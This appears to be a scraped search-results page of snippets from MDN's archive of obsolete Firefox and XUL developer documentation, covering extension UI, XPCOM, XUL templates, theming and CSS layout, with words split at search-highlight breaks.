reventing them from growing or shrinking too much. all css properties involving lengths should be handled with caution. we recommended that you use proportional units (em, %) instead of absolute units (px) whenever possible. using the former allows the ui to scale proportionately depending on font size settings, which are often changed by users with accessibility limitations. a common exception to...
... and status bars, font styles, sizes, etc. note that this is not really what you would expect from an extension, it's more like a theme. however, it's very interesting and useful to see how you can manipulate the appearance of firefox so easily. if you're not familiar with css, you should read this css getting started guide and other online resources before continuing with this tutorial. « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast. ...
User Notifications and Alerts - Archive of obsolete content
using modal dialogs and alerts is usually a bad idea. they interrupt the user's workflow, demanding immediate action before anything else can be done. users will find them annoying and probably will learn to dismiss them as quickly as possible without even reading what they have to say. or they will just get rid of your add-on. this section lists a few alternatives that give you the possibility of notifying the user and requesting action without being too annoying. the notificationbox element you have probably seen these before. the "remember password" prompt is the one that shows up the most often. ...
...tionbox so that we get the notification box that corresponds to the tab currently on display. the appendnotification method takes the message, id, image (32x32), level and buttons. the level argument determines the "strength" of the message, indicated by its background color when it is displayed. you should look for the level that better fits your message, and use the lowest applicable level, to p
revent the user from getting used to dismissing high-level notifications. the buttons are represented by simple js data objects. this is all explained in detail in the notificationbox page. notification boxes are designed to be easily dismissed. all notifications have an additional close button, so you should take into account that it's possible that none of your custom buttons will be clicked. also...
... ...
XPCOM Objects - Archive of obsolete content
taken from the xpcom page. firefox can be seen as composed of two layers. the largest of the two is a compiled platform, mostly written in c++. on top of it lies the chrome, mostly written in xml, javascript and css. in fact, you can separate the two. we often mention other "mozilla based applications". well, those are applications that, simply put, take the underlying platform with perhaps a few changes and additions, and then write their own chrome layer. this lower layer is called xulrunner, and it is a very powerful platform, providing a very robust development base for web-enabled, cross-platform applications. ...
...ay in which the two layers (xulrunner and chrome) communicate. most of the objects and functions in the lower layers are hidden from the chrome; those that need to be publicized are exposed through xpcom components and interfaces. you can think of xpcom as a reference to all the capabilities available on the lower layers of firefox. using xpcom components is relatively simple, as you've seen in p
revious examples. this.obsservice = cc["@mozilla.org/observer-service;1"].getservice(ci.nsiobserverservice); the cc object (components.classes) is an index to static objects and class definitions available through xpcom. the string between the brackets is just an identifier, in this case corresponding to the observer service. you'll usually know what string to use by reading examples and docume...
... components are no longer supported in firefox extensions. they are only available to code built into firefox itself. if you are writing an extension and need to interact with 3rd-party binary code, the best way to do that is to use the system/child_process ipc layer from the addon sdk. the c-types module is also available as a bridge to load and use shared libraries from extension code. « p
reviousnext » this tutorial was kindly donated to mozilla by appcoast. ...
Setting up an extension development environment - Archive of obsolete content
rom content to browser as context. devtools.debugger.remote-enabled = true. this adds a "browser debugger" entry to the "web developer" submenu of the "tools" menu. the browser debugger can be used to debug the javascript code of extensions. the devtools.chrome.enabled preference must also be set to true for the browser debugger to be enabled. devtools.debugger.prompt-connection = false. this p
revents the browser debugger from prompting for connection permission every time. extensions.logging.enabled = true. this will send more detailed information about installation and update problems to the error console. (note that the extension manager automatically restarts the application at startup sometimes, which may mean you won't have time to see the messages logged before the automatic restar...
... from prompting for connection permission every time. extensions.logging.enabled = true. this will send more detailed information about installation and update problems to the error console. (note that the extension manager automatically restarts the application at startup sometimes, which may mean you won't have time to see the messages logged before the automatic restart happens. to see them, p
revent the automatic restart by setting the environment no_em_restart to 1 before starting the application.) nglayout.debug.disable_xul_fastload = true. for gecko 2.0+ (firefox 4.0+). see this bug for more information. although the bug has been closed, it is believed that this pref is still relevant. you might also want to set dom.report_all_js_exceptions = true. see exception logging in javascript...
... whether you choose to eventually package your extension's chrome in a jar or in directories, developing in directories is simpler. if you choose a jared structure for releasing, you can still develop with a directory structure by editing your chrome.manifest. for example, rather than having content myextension jar:chrome/myextension.jar!/content/ use content myextension chrome/content/ p
reventing the first launch extension selector requires gecko 8.0(firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) starting in firefox 8, on the first launch of a new version of firefox, it presents user interface letting users select which third party add-ons to keep. this lets them weed out add-ons that were installed without their knowledge, or that are no longer needed. however, this interface c...
Firefox addons developer guide - Archive of obsolete content
neral cleaning up: tables should use the "standard-table" css class so they're styled the same as those on the rest of mdc. there should be some introductory text on the table of contents page at https://developer.mozilla.org/en/firefox_addons_developer_guide obviously there are a number of fixme items in the content that need dealing with, but those are already known. these should use the p
revious, next, and p
revnext templates to add quick routes to get from chapter to chapter. see the xul reference, for example. each chapter should be tagged appropriately, based on content, and every chapter should include the tag "firefox addons developer guide". instead of using footnotes, we should inline these notes into the body of the article. apostrophes are being done using curly apostrophe...
... you can just link to the articles directly. either way, these links should be added. these articles are all tagged as covering firefox 3.1 using the fx_minversion_header template, but i don't think that's the case. certainly appendix 2 doesn't care what version of firefox you're using, since it's just about open source software licenses. ...
...should we keep this part ? gen's opinion: yes, because it is important for developers to make informed decisions regarding oss licenses and it was a part of the original guide. opinions: i think we should be careful about adding new contents to this guide. the original version of this guide was written as a ...
Promises - Archive of obsolete content
sponse.messages }); }) .then(null, (e) => { self.reporterror("publication failed", e); }); file io file io in add-ons should be done via the os.file api, which provides a simple, but powerful, interface for reading, writing, and manipulating both text and binary files. it is also available for use off-main-thread in workers as a synchronous api. this interface replaces the p
revious, complicated xpcom nsifile and streams apis, and their related javascript helper modules. these older interfaces should be avoided, even in their asynchronous forms, due to their performance penalties and needless complexity. representative example usage components.utils.import("resource://gre/modules/osfile.jsm"); task.spawn(function* () { // retrieve file metadata to check modificati...
... // use the response to construct form data object for the // second request. let form = new formdata; form.append("id", data.id); form.append("content", data.content); // make the second request. xhr = yield request(updateurl, { data: form }); // use the response of the second request. notifyuser(xhr.responsetext); }); downloading remote files nearly all p
revious methods of downloading remote files have been superseded by the much simpler downloads.jsm module. the downloads object provides a promise-based api for downloading remote files, with full support for progress tracking, pause and resume, and, optionally, integration with the download manager ui. representative example usage components.utils.import("resource://gre/modules/downloads.jsm"); ta...
...p")); } }); // and quickly grab a single row value. let [row] = yield db.execute( "select value from nodes where key = 'timestamp' \ order by value desc limit 1"); latesttimestamp = row.getresultbyindex(0); } finally { // make sure to close the database when finished. // failure to do this will p
revent firefox from shutting down // cleanly. yield db.close(); } }); promise wrappers and helpers the following are some example promise-based wrappers for common callback-based asynchronous apis. addonmanager var aom = { __proto__: addonmanager, addon: function addon(addon) { if (!(addon && "getdatadirectory" in addon)) return addon; ret...
Images, Tables, and Mysterious Gaps - Archive of obsolete content
crucial part of figure 3 is the baseline (represented by the blue line), and its placement within the line box. the baseline's exact placement is dependent on the "default" font for the line box (represented by the red box), which is determined by the value of font-family for the element that contains the line box. it isn't possible for an author to change the baseline's position directly, so whe
rever it ends up is where it will be. the space below the baseline is referred to as "descender space" since that's where the descenders in lowercase letters like "j", "y", and "q" are drawn. figure 4 shows what happens when we add an image to the mix. note where the image sits by default: its bottom edge is aligned with the baseline of the line box. this placement can be changed with vertical-ali...
...igners, and it sure doesn't help fix old designs that are suddenly blowing apart in recent browsers. there's another obvious fix, which is to make sure your document doesn't trigger the "standards"rendering mode. you can do this by using a doctype that will trigger either "quirks" mode or "almost standards" mode, or not having a doctype appear in your document at all. the lack of a doctype will p
revent validation, and so is not recommended. for authors who are working with legacy documents, a "quirks" mode doctype is the best choice. in cases where an author is writing a new document or trying to migrate a design to be as standards-based as possible, then "almost standards" mode is probably a better choice. of course, documents authored in xhtml strict or html strict will trigger the "stand...
...ed, the happier authors everywhere will be. recommendations absent support for css3, it is difficult to provide a clear set of steps for fixing every instance of these problems, because the best solution for a given document will greatly depend on its structure. if your document uses transitional markup, make sure your doctype reflects that fact and does not trigger "standards" mode. this will p
revent browsers from using standards-based rendering, and thus all the image-layout problems are avoided. if you're using strict markup, or you need for other reasons to be in "standards" rendering, then remember these guidelines: any image alone in a table cell (e.g., single-pixel spacer images) should be made block-level. any image in a table cell with other images should be vertically aligned ...
Visualizing an audio spectrum - Archive of obsolete content
('loadedmetadata', loadedmetadata, false); // fft from dsp.js, see below var fft = function(buffersize, samplerate) { this.buffersize = buffersize; this.samplerate = samplerate; this.spectrum = new float32array(buffersize/2); this.real = new float32array(buffersize); this.imag = new float32array(buffersize); this.
reversetable = new uint32array(buffersize); this.sintable = new float32array(buffersize); this.costable = new float32array(buffersize); var limit = 1, bit = buffersize >> 1; while ( limit < buffersize ) { for ( var i = 0; i < limit; i++ ) { this.
reversetable[i + limit] = this.
reversetable[i] + bit; } limi...
...fft size: " + buffersize + " buffer size: " + buffer.length; } for ( var i = 0; i < buffersize; i++ ) { rea...
...it >> 1; } for ( var i = 0; i < buffersize; i++ ) { this.sintable[i] = math.sin(-math.pi/i); this.costable[i] = math.cos(-math.pi/i); } }; fft.prototype.forward = function(buffer) { var buffersize = this.buffersize, costable = this.costable, sintable = this.sintable,
reversetable = this.
reversetable, real = this.real, imag = this.imag, spectrum = this.spectrum; if ( buffersize !== buffer.length ) { throw "supplied buffer is not the same size as defined fft. fft size: " + buffersize + " buffer size: " + buffer.length; } for ( var i = 0; i < buffersize; i++ ) { real[i] = buffer[
revers...
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
go to your applications folder control click application icon(firefox icon), choose show package contents. go to contents/macos/chrome/classic.jar copy classic.jar to another easily accessible folder -- classic is recommended -- extract the contents of that folder, being sure to maintain the directory structure. directories inside classic.jar is one directory, skin, as well as two files, p
review.png and icon.png. skin skin simply contains another directory, classic which holds all the good stuff. skin\classic classic contains the following directories. skin\classic\browser browser contains all the toolbar icons, as well as the icons for the bookmark manager and the preferences window. skin\classic\communicator doesn't do a whole lot and can typically be forgotten about promp...
...tallable. for the sake of this discussion we will call your theme "my_theme", though you can replace that with any name. copying the necessary files the first step is to move all the files into the right directory structure. so create a new directory called my_theme. into this directory put the browser, global, communicator, help, and mozapps directories from above, as well as the icon.png and p
review.png files. (yes, this means that the structure of your new directory and classic.jar will be slightly different.) creating the install files contents.rdf make a copy of contents.rdf, place it in \my_theme and open it up in your text editor. this file is a small xml database which is used to describe the skin. in the code, search for all instances of "my_theme" and replace them with the nam...
...over it, it's not disabled, and it's not selected). change the background-color: to darkblue and the color: to white, and save the file. repackaging jar now all you need to do is repackage a jar file with the following directory structure, using your favorite archive manager to create a zip archive: /browser/* /communicator/* /global/* /help/* /mozapps/* /contents.rdf /install.rdf /icon.png /p
review.png make sure not to just zip up the my_theme parent directory since that will cause the drag and drop install in the next section to fail without error messages. once you have put the files in the zip folder, rename it to my_theme.jar triggering the install from the web to install the theme's jar file directly from the web, you need to run some javascript. <a href='javascript:installtr...
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
will need to add the library mozillainterfaces.jar (located in xulrunner/sdk/lib folder) to your classpath. this library provides the interfaces necessary to bootstrap mozilla and call xpcom methods. to start embedding, we use the methods provided by the mozilla singleton class. ...
...mozillainterfaces.jar (located in xulrunner/sdk/lib folder) to your classpath. this library provides the interfaces necessary to bootstrap mozilla and call xpcom methods. to start embedding, we use the methods provided by the mozilla singleton class. ...
...lrunner/sdk/lib folder) to your classpath. this library provides the interfaces necessary to bootstrap mozilla and call xpcom methods. to start embedding, we use the methods provided by the mozilla singleton class. ...
Documentation for BiDi Mozilla - Archive of obsolete content
opriate frame coordinates. the order of the frames in the content model is not affected, so frames that are adjacent in the content model can be far apart visually. a new frame iterator, nsvisualiterator (in nsframetraversal.cpp) provides visual frame navigation capability. details of rendering are dependent on user preferences and system capabilities. where the system is capable of tasks such as
reversing and shaping text, symmetric swapping, numeric translation, etc., no special text rendering is needed, though there may be a call to a native api to set the base text direction (for example settextalign on windows). for systems without bidi capabilities, the methods in nsiubidiutils are used. note that we are not affected by buggy bidi implementations on specific platforms, since the platfor...
...e used. note that we are not affected by buggy bidi implementations on specific platforms, since the platform never sees a text fragment with mixed directionality, and is not expected to do anything more complicated than displaying left-to-right text from left to right or right-to-left text from right to left. ...
...ific platforms, since the platform never sees a text fragment with mixed directionality, and is not expected to do anything more complicated than displaying left-to-right text from left to right or right-to-left text from right to left. in some circumstances, even on a platform with bidi capability, the layout code has to
reverse text fragments or to allow for the fact that they are displayed in
reverse. in general, this happens whenever we are dealing with less than a whole frame. examples of this are in nstextframe::painttextslowly; nstextframe::paintunicodetext when a selection is displayed; nstextframe::getposition; nstextframe::getpointfromoffset. text in visual mode must also be
reversed before display on a bidi platform. text fields and composer the specification of the bidi changes...
Modularization techniques - Archive of obsolete content
hit zero, the object will generally free itself. a successful queryinterface() will call addref() on the requested interface before returning. both addref() and release() return the resulting reference count. the convenience macros ns_addref() and ns_release() are preferred over calling addref and release directly. in debug builds, these macros provide useful reference counting logs. use them whe
rever possible. /* * the nsisupports interface */ class nsisupports { public: ns_imethod queryinterface(const nsiid &aiid, void **aresult) = 0; ns_imethod_(nsrefcnt) addref(void) = 0; ns_imethod_(nsrefcnt) release(void) = 0; }; the ns_imethod and ns_imethod_(type) macros are basically shorthand for virtual nsresult and virtualtype. on windows they expan...
...: // returns the factory associated with the given class id extern "c" ns_export nsresult nsgetfactory(const nscid &acid, nsifactory **afactory); // returns whether the dll can be unloaded now. extern "c" ns_export prbool nscanunload(); the implementation of nsgetfactory() in the simplest case is nearly identical to that of getsamplefactory() in our p
revious example. you only need to verify that the class id passed in is the correct one for the factory you implement. if your dll contains multiple factories, you'll need to add conditional code to determine which one to return. nscanunload() is an optional, but useful function. if implemented, it allows the nsrepository to free up memory by unloading dlls it is no longer using when freelibraries()...
...ent queues. microsoft provides an extensive support infrastructure for com. this technology is built into windows, but not most other platforms. the technology can be licensed from microsoft, but for obvious reasons we are not going to be doing that. in house equivalents to the important elements of this technology will be developed as needed. ...
Elements - Archive of obsolete content
ind that the binding is still required to have an id even though you're not referencing it. in addition, data: urls are only supported from chrome code (in other words, from the application or an extension). note: the normal same-origin policy is used for web sites; they can only link to xbl files on the same domain, or within the chrome. for clarity's sake, here's what the embedded xml in the p
revious example looks like: <?xml version="1.0"?> <bindings id="xbltestbindings" xmlns="http://www.mozilla.org/xbl"> <binding id="xbltest"><content>pass</content></binding> </bindings> only css declarations provide an easy way to attach bindings to any set of elements. it also makes your binding partially functional if scripting is disabled. in the latter case all methods and handlers will be bl...
...this handler is attached to its target at the time the binding is attached and unhooked when the binding is detached from the bound element. the script inside the handler is executed when the event handler is matched. the handler tag must be inside the handlers tag. id - the id at...
...bute imposes a filter on the handler. it is used with mouse handlers to specify how many times a button has been clicked. the event handler will only be matched if the value of the clickcount field in the dom mouse event object matches the value of the attribute. command - the id of a command to invoke when the event occurs. if used in a non-chrome document, the entire handler will be ignored. p
reventdefault - if set to true, the default action of the event is not performed. see also p
reventdefault method of the event object. resources <!entity % resources-content "(image?,stylesheet?)"> <!element resources %resources-content;> <!attlist property id id #implied > used for inclusion of image elements, to cache them for later use, and for inclusion of st...
findbar - Archive of obsolete content
ions. for example, the standard findbar in firefox 3.5 looks like this on the mac: you may attach a findbar to a particular browser element by either setting the findbar's browserid attribute to the id of the browser element before the findbar element is bound, or by setting the findbar's browser property to the browser element itself. ...
...ndtoolbar" browserid="content"/> attributes browserid type: string the id of the browser element to which the findbar is attached. this attribute is only used when the findbar is constructed. you should use the browser property to get and set this value from a script. findnextaccesskey type: string the access key for the "find next" toolbar button in the findbar. findp
reviousaccesskey type: string the access key for the "find p
revious" toolbar button in the findbar. highlightaccesskey type: string the access key for the "highlight" toolbar button in the findbar. matchcaseaccesskey type: string the access key for the "match case" checkbox in the findbar. properties inherited properties align, , allowevents, , boxobject, builder, , , , classname,...
...or findbar and removes it from its enclosing notificationbox or findbar. open( mode ) return type: no return value opens the findbar using the specified mode, which should be one of find_normal, find_typeahead, or find_links. if you don't pass a mode, the last-used mode for the same findbar is used. if the findbar hasn't been used before, find_normal is the default. onfindagaincommand( findp
revious ) return type: no return value call this method to handle your application's "find next" and "find p
revious" commands. you should specify true as the input parameter to perform a "find p
revious" operation, or false to perform a "find next." startfind( mode ) return type: no return value call this method to handle your application's "find" command. this opens the findbar, focuses the edit ...
List of commands - Archive of obsolete content
tion): cmd_copy - copy a selection to the clipboard cmd_cut - cut a selection into the clipboard cmd_paste - paste a selection from the clipboard cmd_selectall cmd_selectnone cmd_copylink cmd_copyimagelocation cmd_copyimagecontents cmd_scrolltop cmd_scrollbottom cmd_scrollpageup cmd_scrollpagedown cmd_scrolllineup cmd_scrolllinedown cmd_scrollleft cmd_scrollright cmd_selectcharp
revious cmd_selectcharnext cmd_wordp
revious cmd_wordnext cmd_selectwordp
revious cmd_selectwordnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_selectlinep
revious cmd_selectlinenext cmd_selectpagep
revious cmd_selectpagenext cmd_selectmovetop cmd_selectmovebottom editor commands (legal when the focus is anywhere where you can type text): cmd_paste - paste a s...
...l when the focus is anywhere where you can type text): cmd_paste - paste a selection from the clipboard cmd_pastequote cmd_delete cmd_deletecharbackward cmd_deletecharforward cmd_deletewordbackward cmd_deletewordforward cmd_deletetobeginningofline cmd_deletetoendofline cmd_scrolltop cmd_scrollbottom cmd_movetop cmd_movebottom cmd_selecttop cmd_selectbottom cmd_linenext cmd_linep
revious cmd_selectlinenext cmd_selectlinep
revious cmd_charp
revious cmd_charnext cmd_selectcharp
revious cmd_selectcharnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_wordp
revious cmd_wordnext cmd_selectwordp
revious cmd_selectwordnext cmd_scrollpageup cmd_scrollpagedown cmd_scrolllineup cmd_scrolllinedown cmd_movepageup cmd_movepagedown cmd_selectpageup cm...
...zilla.org/seamonkey/sou...kmarks-temp.js http://lxr.mozilla.org/seamonkey/sou.../bookmarks.xml http://lxr.mozilla.org/seamonkey/sou...rksoverlay.xul http://lxr.mozilla.org/seamonkey/sou...okmarkstree.js list of commands (listed alphabetically) browser:addbookmark browser:addbookmarkas browser:addgroupmarkas browser:back browser:editpage browser:find browser:findagain browser:findp
rev browser:forward browser:home browser:managebookmark browser:open browser:openfile browser:print browser:printp
review browser:savepage browser:searchinternet browser:sendpage browser:uploadfile cmd_bm_copy cmd_bm_cut cmd_bm_delete cmd_bm_expandfolder cmd_bm_export cmd_bm_find cmd_bm_import cmd_bm_managefolder cmd_bm_movebookmark cmd_bm_newbookmark cmd_bm_newfolder cmd_bm_new...
Actions - Archive of obsolete content
the content to generate goes directly inside the action element. this content will be copied for each matching result (though see below for an exception) and inserted into the document. let's look at a simple example first. ...
...lplanet.com/rdf/b" label="http://www.xulplanet.com/rdf/b"/> <button id="http://www.xulplanet.com/rdf/c" label="http://www.xulplanet.com/rdf/c"/> <button id="http://www.xulplanet.com/rdf/d" label="http://www.xulplanet.com/rdf/d"/> </vbox> since the template tag is hidden, the effect will be like in the image, three buttons with the labels of the data in the datasource. additional content the p
revious example generated only a set of buttons, but the action body may contain additional content. for instance, you might want to add a label to each item. <action> <hbox uri="?relateditem"> <label value="related item:"/> <button label="?relateditem"/> </hbox> </action> in this example, the hbox will be generated for each result, assigned an id of the value of the ?relateditem, and th...
...the variable ?start will be looked up in the result data while the second button will use the ?relateditem variable. since all three results have the same value for the ?start variable, the result will be that the first buttons in each row will all have the same label. here is an image of [this example] (note: see the next section for an explanation of why there are extra buttons here.) « p
reviousnext » ...
Building Menus With Templates - Archive of obsolete content
however, unlike with other elements, the content of a menu is only generated once the menu has been opened. this means that a menu created with a template will not have any of the generated items until the user opens the menu, or a script opens the menu. this applies to menus on menubars, submenus, as well as menu-type buttons such as those with a type attribute set to menu. this allows for better performance as the entire content of a complex menu does not need to be created until the user needs to use the menu. it is very simple to create a menu using a template. ...
...s to use the menu. it is very simple to create a menu using a template. here is an example using an xml source: <button type="menu" datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"/> <action> <menupopup> <menuitem uri="?" label="?name"/> </menupopup> </action> </template> </button> <button label="children" oncommand="alert(this.p
revioussibling.childnodes.length);"/> in this example, the datasources attribute has been placed on a menu-type button. the query generates a list of the person tags within the datasource and outputs the action body for each one. the uri attribute has not been placed on the menupopup element which is the direct child of the action element but has instead been placed on the menuitem element. this cau...
...uri="http://www.xulplanet.com/rdf/garden/18" label="18"/> </menupopup> </menu> <menu uri="http://www.xulplanet.com/rdf/garden" label="garden avenue"> <menupopup> <menuitem uri="http://www.xulplanet.com/rdf/garden/25" label="25"/> <menuitem uri="http://www.xulplanet.com/rdf/garden/37" label="37"/> </menupopup> </menu> </menupopup> </button> « p
reviousnext » ...
Filtering - Archive of obsolete content
for example, you wish the user to be able to select a value from a list, and the template results should be filtered based on that value. this can be done by modifying the dom nodes inside the query and rebuilding the template. for instance, to apply a filter, you might add a new <triple> element. to remove the filter, the <triple> should be removed again. let's assume that we've given an id of 'cond' to the query tag. ...
... menulist is hard-coded to contain the items that we know are in the datasource. next, we'll look at also generating this list using a template. generating a filter menu templates may be used to generate any type of content. it is common to use a template to generate the items on a menu or in a listbox or tree. the syntax is the same regardless of what type of content is being created. in the p
revious example, we hard-coded a menulist with the list of countries, but we could also generate this list from the datasource. the same datasource may used for both the photos list and the menulist. even though the same datasource is used, it will only be loaded once and both templates will be notified when the data has loaded. we will need to add some information to the datasource in order to speci...
...ute on it instead of the <menulist> element. ...
Multiple Rule Example - Archive of obsolete content
often this will be because a particular result has a property that others do not. for instance, in an earlier example, one of the photos had a description and the other photos did not. in this case, you might wish to display the photo with a description in a different manner. this is useful if you wish to hide any content that would be needed to display the description. the next example shows how we can do this. ...
...he last rule has no specific conditions (for example a simple rule with no attributes on the <rule> element), it could be considered to be the final else block that matches all data. since results generated by earlier rules override those of later results, you will want to ensure that the rules are placed in the right order. ...
...ules are placed in the right order. the rules should be ordered from most specific to least specific. if you
reversed the order of the two rules in the example above, three photos would still be displayed, but the larger rule that displays the image details would be dropped as the other rule has a higher priority. ...
RDF Modifications - Archive of obsolete content
no extra code needs to be written to do this; it happens automatically. this involves a third type of observer involved in a template builder, an nsirdfobserver, used to listen for modifications to the rdf datasource. naturally, this only applies to rdf queries. when the datasource is modified, the datasource will notify any observers of the change. the template builder uses these notifcations to update the template as necessary based on the new or removed information. ...
...ues from the newly added triple. (?photo = http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg, ?description = 'one of the thirty or so egyptian obelisks') next, the builder works its way backwards through the statements, in order to fill in the remaining variables. it does this in a similar manner as it does when it generates results, but traverses the statements in the opposite order. the p
revious triple will fill in a value for the ?title variable, since we now have a value for the ?photo variable referred to by the triple's subject attribute. next, the member statement is examined, and, in this situation, the builder fills in the known ?photo variable, and looks for a parent container containing this value. there is a container 'http://www.xulplanet.com/rdf/myphotos', so the ?start v...
...y, only the highest matching query needs to be applied. the only extra complication to deal with in the multiple query case is when a particular result's member resource already matches a query, yet the new rdf triple would cause an earlier query to match. since the earlier query takes precedence, the builder handles this by removing the old content first and then adding the new content. « p
reviousnext » ...
Recursive Generation - Archive of obsolete content
however, the labels on the second set of buttons are different than the first set. if you look at the graph again, you might begin to see why. in the graph, item c has a relateditem arrow pointing out of it to item d. this extra arrow which neither b or d have causes an extra set of buttons to be created. after generating content, the template builder always repeats the generation for inner levels as far as it can go. thus, the builder can be said to generate content from the graph recursively. after generating a result's content, the builder starts again using a new parent and starting point. ...
...er always repeats the generation for inner levels as far as it can go. thus, the builder can be said to generate content from the graph recursively. after generating a result's content, the builder starts again using a new parent and starting point. naturally, the parent will be the new result's content, rather than the outer containing element, and the starting point will be the endpoint of the p
revious iteration. for the top level generation the parent insertion point is the element with the datasources attribute, in this example a <vbox>. for nested results, the insertion point is the generated element. here is the content that was generated after one iteration: <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a"> <template> <query> ...
.../www.xulplanet.com/rdf/d"> <button label="http://www.xulplanet.com/rdf/c"/> <button label="http://www.xulplanet.com/rdf/d"/> </hbox> </hbox> the recursive nature of templates has useful applications in menus and trees so that sets of iterative content can be generated automatically. we'll look more at recursive templates later, but next, let's look at a more practical example. « p
reviousnext » ...
Sorting Results - Archive of obsolete content
for an xml datasource, generated content will be output in the order corresponding to the results of the xpath query expression. for an sqlite datasource, the generated content corresponds to the order of results of the sql query. for an rdf datasource, again, the results are in the order the query generates them, although except in the case of an rdf seq, this order is arbitrary as rdf triples don't occur in any particular order. when the reference node is an rdf seq container and the results are in that container, however, the template builder orders the results in the order the items appear in the seq. ...
... sort by for that column. <treecol id="name" label="name" sort="?name" flex="1"/> <treecol id="date" label="date" sort="?date" flex="1"/> in this example, the first column will be sorted by the ?name variable and the second column by the ?date variable. when the sort is ascending, the tree rows will be sorted in alphabetical order. when the sort is descending, the tree rows will be sorted in the
reverse order. for natural sorting, the rows will be sorted according to the natural order. only one column applies a sort at a time. if the tree is sorted by name, and the user clicks on the date column header, the sort will change to the date column. there are two additional attributes used for sorting, which you may set on a column to specify the initial sort. these attributes are modified when th...
...byid("alistbox"); var sortservice = components.classes["@mozilla.org/xul/xul-sort-service;1"]. getservice(components.interfaces.nsixulsortservice); sortservice.sort(listbox, "?gender", "descending"); this code will sort a listbox by title in a descending order. the arguments to the sort method specify the root node (the listbox), the sort key and the sort direction. « p
reviousnext » ...
Static Content - Archive of obsolete content
this item doesn't need to be generated from the datasource. instead it will be what is called static content in a template. the static content is any content that is a sibling of the template element. this content is displayed as is without affecting the generated content from the template. ...
...the content will be displayed just like it would be as if the template wasn't present. that is, before the template is examined, the menulist would have one item in it, with the label 'all'. the template generates two results as before, one for each country, and appends a menuitem for each...
...title" object="?countrytitle"/> </query> <action> <radio uri="?country" label="?countrytitle" value="?country"/> </action> </template> </radiogroup> this example doesn't have any other content to generate outside the radio element with the uri attribute, so it will just be copied as is. the static 'all' radio button will be left as the first radio item. « p
reviousnext » ...
Template Logging - Archive of obsolete content
for example, if you spell a value wrong, no data may be returned, but the template system won't know that that this was because of a spelling error, or simply that there shouldn't be any data anyway. fortunately, some debugging and logging support is provided with templates that may help. logging template results there are two main ways in which template errors may be detected. the first debugging method involves logging all new results that apply to the template due to the data changing as well as logging results that are changed or removed. ...
...iable names or <member> and <triple> elements placed in the wrong order. note that this error does not occur simply because, for example, a particular container has no children; it means that a logic error in the query implies that a variable could never be computed properly. an example is given below this list of errors. neither subject or object variables of <triple> has a value similar to the p
revious error but for the <triple> element. either the subject or object variables could never be set to a value for a result. xpath expression in query could not be parsed for xml datasources, a query attribute has an xpath expression that is not valid. xpath expression in <assign> could not be parsed </assign> for xml datasources, an <assign> element has an xpath expression that is not valid. xpath...
...; be careful, as the datasource will only be set once the document has finished loading and has been parsed, so don't check this property too early. you may also get an error if you manipulate or analyze the template while the datasource is loading. you could iterate and wait using a timer. future versions may include other features to make it easier to debug problems with data loading. « p
revious ...
Using Recursive Templates - Archive of obsolete content
after the data is generated, each result is used as the new reference point for a nested iteration of the template. this is usually used to generate content in a tree or menu. both the rdf and xml datasource types support recursion. ...
... the initial reference node is the root of the xml source document, the results are two elements, one for each group element. however, a further step is done to retrieve an additional level of nodes. as each group has children itself, each result (in this case, each group) becomes the reference point for a futher iteration. the same query is executed again but using the groups generated from the p
revious execution of the query. this time, the query generates a result for each person in the xml source. the content of the action body is again generated for each result, but instead of being inserted inside the outermost groupbox, this new content is inserted inside the content generated from the p
revious iteration. the content is always inserted directly inside the element with the uri attribute...
...n or the next iteration of the query doesn't return any results, so no output is generated. sometimes, you will not want a template generate recursive content. you can do this by adding a flag. <vbox datasources="people.xml" ref="*" querytype="xml" flags="dont-recurse"> here, the flags attribute is set to dont-recurse. this disables the recursion and only generates one level of results. « p
reviousnext » ...
XML Assignments - Archive of obsolete content
for instance, you might want to display not the name of a person, but the length of their name. xpath provides syntax to retrieve this using the built-in string-length method. however, you cannot use a expression that returns a number in the query, as the query must return dom nodes as results. in this case, we use an expression that returns the nodes as in earlier examples, and use some additional syntax of the query to get the length of the names. to do this, we use an additional element, the assign element. this element allows the use of additional xpath expressions to get more data from the xml data. ...
...n't actually the case. ...
...wo variable assignments may then be used in the action body to replace attributes in the generated content. if a variable is used in the action that doesn't correspond to one declared in an assign element, the default behaviour is to take the corresponding attribute on the result node. here, the two attributes 'name' and 'gender' will be taken from the xml data, as in p
revious examples. « p
reviousnext » ...
Textbox (XPFE autocomplete) - Archive of obsolete content
tedefaultindex, crop, disableautocomplete, disableautocomplete, disabled, disablehistory, enablehistory, focused, forcecomplete, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, ignoreblurwhilesearching, inputtooltiptext, label, maxlength, maxrows, minresultsforpopup, minresultsforpopup, nomatch, onchange, onerrorcommand, oninput, onsearchcomplete, ontextcommand, ontextentered, ontext
revert, ontext
reverted, open, readonly, searchsessions, showcommentcolumn, showcommentcolumn, showpopup, size, tabindex, tabscrolling, tabscrolling, timeout, type, useraction, value properties accessible, alwaysopenpopup, autofill, autofillaftermatch, completedefaultindex, crop, disableautocomplete, disabled, editable, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearch...
... since gecko 1.9.1 type: script code note: applies to: thunderbird, seamonkeythis event handler is called when a result is selected for the textbox. as of gecko 1.9.1, this attribute is superseded by the ontextentered attribute. ontextentered new in thunderbird 3requires seamonkey 2.0 type: script code this event handler is called when a result is selected for the textbox. ...
... gecko 1.9.1, this attribute is superseded by the ontextentered attribute. ontextentered new in thunderbird 3requires seamonkey 2.0 type: script code this event handler is called when a result is selected for the textbox. ontext
revert obsolete since gecko 1.9.1 type: script code note: applies to: thunderbird, seamonkey this event handler is called when the user presses escape to
revert the textbox to its original uncompleted value. as of gecko 1.9.1, this attribute is superseded by the ontext
reverted attribute. ontext
reverted new in thunderbird 3requires seamonkey 2.0 type: script code this event handler is called when the user presses escape to
revert the textbox to its original uncompleted value. open type: boolean for the menu type buttons, the open attr...
Adding Buttons - Archive of obsolete content
